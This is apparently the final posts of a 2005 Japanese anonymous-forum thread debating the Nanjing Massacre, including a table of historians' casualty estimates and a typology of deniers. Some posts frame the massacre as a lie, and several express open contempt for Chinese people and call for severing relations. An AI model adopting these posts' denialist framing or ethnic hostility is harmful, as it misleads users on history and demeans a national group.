あとはほとんどアマチュア。
もっとも東中野も学会では異端だけど。

979 :名無的発言者:2005/03/23(水) 10:31:59
>>978
権威大好きな君に、以下のレスを贈ろう。

101 :名無的発言者 :05/03/09 22:58:36
南京大虐殺を否定するのは非国際人。
http://academy3.2ch.net/test/read.cgi/china/1102930234/l50
★南京虐殺を否定する学者は皆無という事実★
http://academy3.2ch.net/test/read.cgi/china/1101034090/
【惨め】ウヨの南京事件否定本敗訴確定
http://academy3.2ch.net/test/read.cgi/china/1108468051/l50
南京虐殺は裁判で事実として認定されています
http://academy3.2ch.net/test/read.cgi/china/1109114716/l50


もう答えは出てますねw

肯定側は「裁判で肯定された」「学者がみんな肯定している」「国際人として肯定すべき」
等と権威や権力に頼るばかりで、否定派の質問に対して具体的な反論をほとんどしていない。
悪質なのになると「30万人は南京陥落までの数字」と勝手に根拠の無い話を作ってみたり。
(中国政府は『南京で30万人が殺された』。東京裁判では『南京で20万人が殺された』と、
ハッキリ言い切っています)
これでは「南京虐殺は嘘です」「俺たちは反論できないんだ」と言っているのと同じ。

980 :名無的発言者:2005/03/23(水) 18:14:30
>>978
おもしろいww

981 :名無的発言者:2005/03/23(水) 20:58:26
南京で戦闘後に殺害された数についての代表的な諸説は、以下の通り
なお、>>1の主張は、大枠では正しいが、いくつかミスがある。例えば、板倉由明氏は捕虜の殺害は違法性高いと見ている。

主唱者             殺害人数           国際法の可否            思想的傾向
鈴木明            軍民あわせて数万人    「まぼろし」の中では言及なし   保守
板倉由明            1〜2万           捕虜の殺害を違法の可能性大   保守
偕行社編集部「南京戦史」 3〜6千あるいは1万3千  捕虜の殺害を違法とする      保守
秦郁彦             4万             .捕虜の殺害を違法とする      保守
畝本正己           3〜6千           .捕虜の殺害は違法の疑いあり   保守
笠原十九司          10数万            捕虜の殺害を違法とする      左翼
東京裁判            20万             捕虜の殺害を違法とする
東中野修道                          捕虜の殺害が違法である証拠は無い 保守

保守・左翼に関係なく、南京で民間人を巻き添えにした裁判なしの捕虜の大量殺害があったという点では専門家の意見は一致する。
数、虐殺の定義、違法か否かでは、意見が分かれる。

982 :名無的発言者:2005/03/23(水) 21:21:59
否定論者(?)のタイプ

1.無知型
単に歴史や「歴史学のルール」について無知なため、事実関係そのものを否定する人。
歴史学のルールを知らないので、トンチンカンな質問をしたり、無知ゆえに論敵は基本からの説明を強いられるので、相手をするのは疲れる。
しかし、これは保守系の人が南京論争に触れるからには、「一度は通る道」とも言える。
ここから2〜4に分岐する。

2.研究者型
事実関係そのものは認めている。非は非と認め、「中国人民に謝罪したい」とまで言う(秦氏、偕行社編集部等)。
同時に「30万人説」や「民間人の組織的殺害」のようなサヨクや中国のデマゴーグも、厳しく批判するために、サヨクから「否定論者」のレッテルを張られたりする。
多くの保守系学者が、ここに属する。

3.政治喧伝型
事実関係は知っている。しかし、南京論争を政治宣伝と割り切っている点が2と異なる。
ゆえに、レトリックを駆使し、読者を「なかったと錯覚させる」ことを狙った確信犯。
突っ込まれると、「私がいつ、捕虜の大量殺害を否定したかね?」と反撃する。サヨクの不倶戴天の敵である。
東中野がこのタイプ。

4.嘘つき型
3に似ているが、3はレトリックを駆使しても、嘘はつかない。しかし、このタイプは平気で嘘をつき、史料の改竄すらする。
しかし、同じ保守なはずの2から、厳しく批判くらうこともあるw(田中ナントカw)
紙メディアでは、ほぼ絶滅状態だが、NETでは一部にしぶとく棲息している。


983 :名無的発言者:2005/03/23(水) 21:34:50
堂々めぐりだな。
>>1の言うとおり、専門家は保守もサヨクも、「裁判なしの捕虜の大量殺害と
民間人の巻き添え」はあったという点で、同じだ。
素人より専門家の言うことのほうが信用できるに決まってる。
ましてや、専門家の間では左右を問わず、その点では意見は一致してるから、信頼度の高さはなおさらだ。

それを踏まえたうえで、「虐殺の定義」と「国際法の是非」を論じる。
ここまではいい。

しかし、すぐに「なかった厨」が現れて、イタいカキコをするので、
>>1の言うとおり、学者は保守もサヨクも、「裁判なしの捕虜の大量殺害と
民間人の巻き添え」はあったという点で、同じだ。
の説明に戻る。

堂々巡り。

984 :名無的発言者:2005/03/23(水) 21:40:11
>>983
トンデモさんの典型的リクツ。
「専門家より俺様の説の方が正しい。」
「俺様より専門家を信用する奴は権威主義者だ。」

UFO信者も心霊信者も、みーんな同じ。

985 :名無的発言者:2005/03/23(水) 21:42:04
>>982


986 :名無的発言者:2005/03/23(水) 22:02:19
南京の人口は減ってないでいいんだね。

987 :名無的発言者:2005/03/23(水) 22:05:13
>>983
サヨクは「裁判なしの捕虜の大量殺害と 民間人の巻き添え」「も」、
「残酷極まりない民間人に対する大量殺戮」もあったといってるんだが・・・

違ったか?


988 :名無的発言者:2005/03/23(水) 22:07:57
>>982
4.嘘つき型
3に似ているが、3はレトリックを駆使しても、嘘はつかない。しかし、このタイプは平気で嘘をつき、史料の改竄すらする。
しかし、同じ保守なはずの2から、厳しく批判くらうこともあるw(田中ナントカw)
紙メディアでは、ほぼ絶滅状態だが、NETでは一部にしぶとく棲息している。

肯定派本家大元の中国がまさにこれの親玉じゃねえか。w

989 :名無的発言者:2005/03/23(水) 22:09:20
>>987
うん、現代の中国とサヨクは間違いなく言ってる。
認めるよ。
俺は「残酷極まりない民間人に対する大量殺戮」は疑ってるがね。


990 :名無的発言者:2005/03/23(水) 22:10:34
>>988
その通り。
>>982の分類は、肯定派、否定派の両方に当てはまる。
どちらの陣営にも真面目な奴もいるし、出鱈目なやつもいる。

991 :名無的発言者:2005/03/23(水) 22:11:32
>987
戦後生まれの我々には、あんまり関係ないよ。そんな昔のこと。
それより今。これからです。
一緒にがんばろう! 国交断絶

992 :名無的発言者:2005/03/23(水) 22:14:55
>>981
絶対に無理。
まもなく、アメリカを抜いて日本最大の貿易相手国になるであろう国。

食料資源の輸入一つとっても、断絶したら偉いことになる。
例えば、中国の大豆がとまったら、明日からみそしるも豆腐も醤油も口にできなくなるぞ。
日本企業が中国に投資した凄まじい金が回収できなくなる。

経済的には密接なのに、政治的には乖離している。
この奇天烈な状態が日中関係。

993 :名無的発言者:2005/03/23(水) 22:17:27
>>990
サヨクより、出鱈目な味方のほうが始末が悪いよな。

994 :名無的発言者:2005/03/23(水) 22:18:12
政治的にも、経済的にも、動物的にも離れようぜ〜。
どんどん来いよ。13億人。

国交断絶は、一歩一歩あなたたちの発言から。

993ゲット って あんまり意味ないけど。

995 :名無的発言者:2005/03/23(水) 22:25:25
>>1>>981の言ってることは、客観的事実だからどうしようもないよ。

996 :名無的発言者:2005/03/23(水) 22:27:09
>>995
>>981の「思想的傾向」に疑いあり!!

そう思わないか?

997 :名無的発言者:2005/03/23(水) 22:28:51
>995
義経が中国を征服したから中国は日本領だろう。って客観的な事実だからどうしようもないよ。
(君たちの論理)

だからさ、一番いいのは国交断絶だって。
嫌いだろう?日本人。
我々も大嫌い。中国人。

998 :名無的発言者:2005/03/23(水) 22:29:04
つーか、>>981の「保守」と「サヨク」の分類は、常識だと思うが。
つーか、事実を単純に右から左に流しただけだ。

>>996
おまいさん、本を読んだことないだろ?

999 :名無的発言者:2005/03/23(水) 22:29:41
というわけで


1000 :名無的発言者:2005/03/23(水) 22:30:05
>>1の勝利で終わりましたとさ。

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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